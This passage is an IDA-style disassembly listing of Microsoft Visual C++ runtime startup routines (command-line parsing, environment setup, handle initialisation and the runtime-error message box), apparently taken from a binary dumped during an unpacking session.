lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; ---------------------------------------------------------------------------
cmp dword_4DD394, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: ___:00423682j
push esi
mov esi, dword_4DD38C
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: ___:004236AEj
; ___:004236B1j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: ___:0042369Cj
; ___:004236A0j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: ___:004236CDj
inc esi
jmp short loc_4236C5
; ---------------------------------------------------------------------------
loc_4236BB: ; CODE XREF: ___:00423694j
cmp al, 20h
jbe short loc_4236C5
loc_4236BF: ; CODE XREF: ___:004236C3j
inc esi
cmp byte ptr [esi], 20h
ja short loc_4236BF
loc_4236C5: ; CODE XREF: ___:004236B6j
; ___:004236B9j ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: ___:004236C9j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: ___:004236DEj
mov esi, dword_4DBE34
xor edi, edi
loc_4236ED: ; CODE XREF: ___:00423703j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: ___:004236F5j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: ___:004236F1j
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE04, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: ___:0042371Dj
mov edi, dword_4DBE34
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: ___:00423767j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: ___:0042374Cj
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: ___:0042373Fj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: ___:0042372Fj
push dword_4DBE34
call sub_41BA91
pop ecx
mov dword_4DBE34, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD390, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: ___:0042379Cj
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 2680000h
nop
mov eax, dword_4DD38C
mov off_4DBE14, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: ___:004237C4j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: ___:004237EEj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DBDFC, esi
pop edi
pop esi
mov dword_4DBDF8, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: ___:004237D3p
; ___:00423809p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBFA4
push ebx
push ebp
mov ebp, dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFA4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: ___:004239FAj
nop
call near ptr 2630B54h
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFA4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: ___:004239F2j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: ___:00423A06j
cmp esi, ebx
jnz short loc_423A40
call ebp
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: ___:00423A32j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: ___:00423A4Cj
; ___:00423A53j
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: ___:00423A45j
sub eax, esi
mov edi, dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423AA2
push dword ptr [esp+10h]
call sub_41BA91
pop ecx
mov [esp+10h], ebx
loc_423AA2: ; CODE XREF: ___:00423A92j
mov ebx, [esp+10h]
loc_423AA6: ; CODE XREF: ___:00423A72j
; ___:00423A81j
push esi
nop
call near ptr 2630DFFh
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: ___:00423A2Aj
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: ___:00423A22j
cmp edi, ebx
jnz short loc_423AC6
nop
call near ptr 2630B54h
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: ___:00423AB8j
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: ___:00423ACFj
; ___:00423AD4j
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: ___:00423ACAj
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: ___:00423AE6j
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: ___:00423AEAj
push edi
nop
call near ptr 2630E44h
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: ___:00423A12j
; ___:00423A3Aj ...
xor eax, eax
loc_423B04: ; CODE XREF: ___:00423AAFj
; ___:00423B00j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: ___:00423B21j
mov dword_4DD040, esi
mov dword_4DD140, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: ___:00423B5Dj
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD040
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: ___:00423B43j
lea eax, [esp+10h]
push eax
call near ptr 2890000h
nop
cmp word ptr [esp+42h], 0
jz loc_423C3B
mov eax, [esp+44h]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: ___:00423B91j
cmp dword_4DD140, esi
jge short loc_423BEF
mov edi, offset dword_4DD044
loc_423BA2: ; CODE XREF: ___:00423BE5j
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD140, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: ___:00423BDAj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: ___:00423BC2j
add edi, 4
cmp dword_4DD140, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: ___:00423BAFj
mov esi, dword_4DD140
loc_423BEF: ; CODE XREF: ___:00423B9Bj
; ___:00423BE7j
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: ___:00423C39j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
nop
call near ptr 2630000h
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: ___:00423C07j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: ___:00423BFAj
; ___:00423C02j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: ___:00423B70j
; ___:00423B7Cj ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: ___:00423CA0j
mov eax, dword_4DD040
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: ___:00423C51j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: ___:00423C56j
push eax
nop
call near ptr 263083Fh
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
nop
call near ptr 2630000h
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: ___:00423C6Ej
; ___:00423C79j
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: ___:00423C85j
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: ___:00423C49j
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: ___:00423C8Bj
; ___:00423C90j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD140
nop
call near ptr 2630AB5h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao
; sub_422A2C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
mov eax, dword_4DBE3C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE44, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFA8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_423D98+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4D8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D568
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4D8[esi]
jnz loc_423F21
mov eax, dword_4DBE3C
cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE44, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 2680000h
nop
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 263083Fh
push eax
nop
call near ptr 2720000h
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD040
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD140
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD140, 20h
lea ecx, ds:4DD040h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE44, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
call near ptr 2620D20h
nop
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD140
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE44, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
nop
call near ptr 2620D20h
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
